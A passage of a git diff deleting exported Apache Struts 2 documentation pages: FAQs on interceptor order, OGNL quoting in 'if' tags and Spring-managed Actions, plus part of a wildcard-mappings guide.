-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why isn't our Prepare interceptor being executed</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-isnt-our-prepare-interceptor-being-executed.html">Why isn't our Prepare interceptor being executed</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why isn't our Prepare interceptor being executed</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13922">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13922">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13922">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13922">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13922">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13922">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>Sometimes the order of the Interceptors makes a difference. In the case of the <code>prepare</code> Interceptor, ensure that it comes <strong>before</strong> <code>validation</code> on the <code>interceptor-stack</code>.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;interceptor-stack name="myInterceptorStack"&gt;
-        ...
-     &lt;interceptor-ref name="prepare" /&gt;
-        ...
-     &lt;interceptor-ref name="validation" /&gt;
-        ...
-  &lt;/interceptor-stack&gt;
-</pre>
-</div></div>
-<div class="confluence-information-macro confluence-information-macro-information"><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The default stack does place the <code>prepare</code> Interceptor before the <code>validation</code> Inteceptor.</p></div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-wont-the-if-tag-evaluate-a-one-char-string.html b/content/docs/why-wont-the-if-tag-evaluate-a-one-char-string.html
deleted file mode 100644
index c0af7ec..0000000
--- a/content/docs/why-wont-the-if-tag-evaluate-a-one-char-string.html
+++ /dev/null
@@ -1,180 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why won't the 'if' tag evaluate a one char string</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-wont-the-if-tag-evaluate-a-one-char-string.html">Why won't the 'if' tag evaluate a one char string</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why won't the 'if' tag evaluate a one char string</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14327">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14327">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14327">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14327">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14327">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14327">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>If care is not taken with the quoting of literals, the expression language (OGNL) will misinterpret a char as a String.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Wrong</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:if test="aStringProperty == 'A'"&gt;
-  Why doesn't this work when myString is equal to A?
-&lt;/s:if&gt;
-</pre>
-</div></div>
-
-<p>The solution is simple: flip the double and single quotes.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Right</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:if test='aStringProperty == "A"'&gt;
-  This works!
-&lt;/s:if&gt;
-</pre>
-</div></div>
-
-<p>Another solution is to escape the double quotes in the String.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Also Right</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:if test="aStringProperty == \"A\""&gt;
-  This works too!
-&lt;/s:if&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/why-would-we-want-to-create-action-objects-from-the-spring-configuration.html b/content/docs/why-would-we-want-to-create-action-objects-from-the-spring-configuration.html
deleted file mode 100644
index 79df621..0000000
--- a/content/docs/why-would-we-want-to-create-action-objects-from-the-spring-configuration.html
+++ /dev/null
@@ -1,142 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Why would we want to create Action objects from the Spring configuration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="why-would-we-want-to-create-action-objects-from-the-spring-configuration.html">Why would we want to create Action objects from the Spring configuration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Why would we want to create Action objects from the Spring configuration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29120">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=29120">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29120">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=29120">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29120">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=29120">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>If an application makes extensive use of Spring, it can be convenient to manage all the classes in one location &#8211; the Spring configuration.  Remember, Actions do not need to implement a special interface.  Actions can also be POJOs that are not tied to Struts or the web-layer in any fashion.</p>
-
-<p>We might also want to apply more complex AOP or Spring-enabled technologies, such as Acegi, to our Action objects. </p>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For more, see <a shape="rect" href="spring-plugin.html">Initializing Actions from Spring</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/wildcard-mappings.html b/content/docs/wildcard-mappings.html
deleted file mode 100644
index 5f86b4b..0000000
--- a/content/docs/wildcard-mappings.html
+++ /dev/null
@@ -1,316 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Wildcard Mappings</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-elements.html">Configuration Elements</a>&nbsp;&gt;&nbsp;<a href="wildcard-mappings.html">Wildcard Mappings</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Wildcard Mappings</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44247">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=44247">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44247">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=44247">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44247">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=44247">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="WildcardMappings-Wildcards">Wildcards </h2>
-<p>As an application grows in size, so will the number of action mappings. Wildcards can be used to combine similar mappings into one more generic mapping.</p>
-
-<p>The best way to explain wildcards is to show an example and walk through how it works. This example modifies a conventional mapping to use wildcards to match all pages that start with /edit:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="/edit*" class="org.apache.struts.webapp.example.Edit{1}Action"&gt;
-    &lt;result name="failure"&gt;/mainMenu.jsp&lt;/result&gt;
-    &lt;result&gt;{1}.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>The "*" in the name attribute allows the mapping to match the request URIs /editSubscription, editRegistration, or any other URI that starts with /edit, however /editSubscription/add would not be matched. The part of the URI matched by the wildcard will then be substituted into various attributes of the action mapping and its action results replacing {1}. For the rest of the request, the framework will see the action mapping and its action results containing the new values.</p>
-
-<p>Mappings are matched against the request in the order they appear in the framework's configuration file. If more than one pattern matches <strong>the last one wins</strong>, so less specific patterns must appear before more specific ones. However, if the request URL can be matched against a path without any wildcards in it, no wildcard matching is performed and order is not important. Also, note that wildcards are not greedy, meaning they only match until the first occurrence of the f [...]
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="List*s" class="actions.List{1}s"&gt;
-  &lt;result&gt;list{1}s.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>This mapping would work correctly for the URI <code>ListAccounts</code> but not <code>ListSponsors</code>, because the latter would turn into this configuration:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="ListSpons" class="actions.ListSpons"&gt;
-  &lt;result&gt;listSpons.jsp&lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>Wildcard patterns can contain one or more of the following special tokens:</p>
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>*</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>Matches zero or more characters excluding the slash ('/') character.</p></td></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>**</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p>Matches zero or more characters including the slash ('/') character.</p></td></tr><tr><td colspan="1" rowspan=" [...]
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>'\*'</pre>
-</div></div>
-<p> matches the character asterisk ('*'), and </p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>'\\'</pre>
-</div></div>
-<p> matches the character backslash ('\').</p></td></tr></tbody></table></div>
-
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Patterns can optionally be matched "loosely". When the end of the pattern matches *[^*]*$ (wildcard, no wildcard, wildcard), if the pattern fails, it is also matched as if the last two characters didn't exist. The goal is to support the legacy "*!*" syntax, where the "!*" is optional.</p></div></div>
-
-<p>In the action mapping and action results, the wildcard-matched values can be accessed with the token {N} where N is a number from 1 to 9 indicating which wildcard-matched value to substitute. The whole request URI can be accessed with the {0} token.</p>
-
-<p>Also, the action mapping and action result properties will accept wildcard-matched strings in their value attribute, like:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="/edit/*" class="org.apache.struts.webapp.example.Edit{1}Action"&gt;
-    &lt;param name="id"&gt;{1}&lt;/param&gt;
-    &lt;result&gt;
-      &lt;param name="location"&gt;/mainMenu.jsp&lt;/param&gt;
